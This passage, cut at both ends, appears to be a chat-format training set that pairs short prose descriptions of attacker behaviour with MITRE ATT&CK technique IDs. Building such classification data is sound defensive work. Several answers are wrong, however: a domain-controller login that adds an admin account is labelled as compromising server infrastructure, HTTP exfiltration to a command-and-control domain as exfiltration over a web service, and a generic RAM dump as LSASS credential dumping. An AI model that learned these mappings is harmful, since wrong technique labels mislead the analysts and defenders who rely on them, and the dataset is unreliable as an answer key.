                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary used a compromised Google Hangouts session to search for and collect credential information posted in chat."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group abuses the COM class CLSID {0002E005-0000-0000-C000-000000000046} to spawn Outlook instances for email exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker duplicated the legitimate 'Print Spooler' service name for their own malicious service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers steal a commercial penetration testing framework from a compromised partner and use it to exploit internal systems."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker floods the network with bogus threat alerts to overwhelm the SIEM, effectively blocking legitimate indicators from being processed."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal conducts a brute‑force attack on an RDP service to guess user passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary places a malicious DLL in the authentication packages folder and registers it, leading to automatic execution on boot or logon."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a malicious executable onto a USB flash drive and leaves it in public areas, hoping that unsuspecting users will plug it into their workstations, allowing the malware to execute automatically."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerability to automatically register a new account in the web application."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor places a crafted DLL alongside a legitimate executable, exploiting the default Windows DLL search order to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the Boot.ini file, the attacker forces the OS to load in Safe Mode, circumventing security controls."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code to turn off Linux shell history logging, preventing forensic analysts from seeing executed commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Time Providers sub‑technique by adding a custom provider to the system’s time service configuration."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a custom encrypted tunnel using AES and sends data to an external server on port 443, avoiding any command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign employs Distributed Component Object Model to execute commands on remote Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive‑by compromise occurs when an attacker uses a compromised CDN to serve exploit code that silently installs a keylogger on visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hosts a phishing landing page that also contains hidden exploit code, causing browsers to download a cryptominer on load."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses direct volume access to capture snapshots of the disk for later offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes exfiltrated information and sends it via HTTP GET requests to a command‑and‑control domain."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uploads a custom payload to the victim's CI/CD pipeline to be incorporated into the next build."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor mounts the raw physical drive as a file and copies its contents without mounting the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website displays a hidden hyperlink that redirects visitors to a drive‑by download of ransomware when clicked."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe an attack where an adversary leverages trusted relationships to gain access."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a man-in-the-browser attack by injecting code that reads authentication tokens stored in the browser's local storage and uses them to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Windows shortcut was crafted with the name 'shortcut.lnk.exe', using a double extension to execute the payload when clicked."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"nslookup myip.opendns.com resolver1.opendns.com\" to discover the host's internet-exposed IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom loader that reads a PE file from a network share, maps it into memory, and runs it via reflective techniques, avoiding static analysis."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware author repacked the payload, deleting any signatures or timestamps that could link it to known threat groups."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise uses the PubPrn component to execute a malicious VBScript, achieving persistence on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder utilizes a spearphishing service to dispatch emails that appear to be from a known vendor, containing a link that installs a credential‑stealing trojan."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors downloaded a publicly available credential‑dumping tool from a GitHub repository and adapted it for their campaign."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use PowerShell to stop the 'WinDefend' service, effectively disabling Windows Defender real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the Windows Service Control Manager to create and start a new service that runs their executable."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker investigates open technical databases for X.509 certificates associated with the victim’s web servers."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign simultaneously encrypts files and overwrites the file system's allocation table."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the LoginHook mechanism by inserting a VBS script via the HKLM\\...\\Winlogon\\LoginHook key."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the MSBuild utility, the threat actor triggers unauthorized code execution via a trusted developer proxy."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion extracts usernames and passwords from the Safari web browser's keychain storage on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scrapes WHOIS records to obtain the registrar and registrar's abuse contact for a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a script to read clipboard contents after a user copies credentials, exfiltrating the data over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploaded a crafted JSON policy to the cloud provider's firewall service, overwriting existing rules and disabling enforcement."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes a macro that runs a keylogger written in C++, hooking the SetWindowsHookEx function to capture user input."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the user's Outlook home page URL via Group Policy to point to a compromised internal server."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Azure CLI commands to open a remote shell directly on a target virtual machine in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launches a high‑volume UDP flood against the victim's public IP, saturating the inbound bandwidth and causing service outages."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gained access to a virtual private server by exploiting an outdated SSH daemon and placed a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators set up a VPN over a public Wi‑Fi hotspot, tunneling all internal traffic through an encrypted tunnel to hide their activities."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a legitimate email service account and use it to send spearphishing messages that include links to malicious files hosted on a public repository."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses stolen credentials to log into a domain controller and adds a new admin account."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses group policy to disable automatic updates of security software."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor replaced the default pam_unix.so with a tampered version that always returns success, bypassing authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a custom login hook in the system's initialization scripts so that malicious code runs each time a user logs into the machine."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload drops a PowerShell script that dynamically generates the command line by decoding a hex string."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a staged download over SSH to retrieve and install a credential dumper on the target."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modified the GPO to force all machines to trust a rogue certificate authority."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker accesses the default service account on a printer to upload malicious firmware."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renamed its malicious payload to \"svchost.exe\" and placed it in the system directory to appear as a legitimate Windows process."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the \"Remote Desktop Services\" to prevent remote connections after compromising the host."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries loaded an older kernel image onto the host to exploit vulnerabilities that were fixed in newer releases."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device uses traffic duplication to send copies of all outbound data to a hidden exfiltration endpoint."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses a domain‑generation algorithm to create 500 candidate domains each hour, trying each until one resolves."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors analyze aerial drone footage and parcel data to map out the exact building locations of the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a shortcut (.lnk) pointing to an unquoted malicious binary located in a folder with spaces, causing Windows Explorer to execute the payload during shortcut resolution."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a third‑party credential‑stuffing service to test stolen login details against multiple online accounts simultaneously."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider accessed the Juniper switch's config repository and copied the startup-config for later use."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deployed a malicious macro that harvested authentication tokens from users' Slack chat messages and exfiltrated them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen admin credentials, the attacker updated the LDAP sync filters in the hybrid identity setup, effectively granting unauthorized users admin privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware embeds a malicious payload within the boot sector of a legitimate ISO image, leveraging obfuscation to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the contents of the RAM and writes a dump to disk."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data exfiltration is performed by encoding the payload into a series of DNS TXT records."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a script that, once executed, called Confluence's REST endpoints to pull and zip all content from the \"HR\" space."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the user's PowerShell profile script to execute malicious commands each time a PowerShell session starts."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload initiates outbound connections to a remote host on port 9001, a rarely used port, to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries dump the configuration files of switches stored on a syslog server to understand VLAN assignments."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a local account and sets its password to a known value."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries run PowerShell commands to enumerate the device's location information, including latitude and longitude."
            },
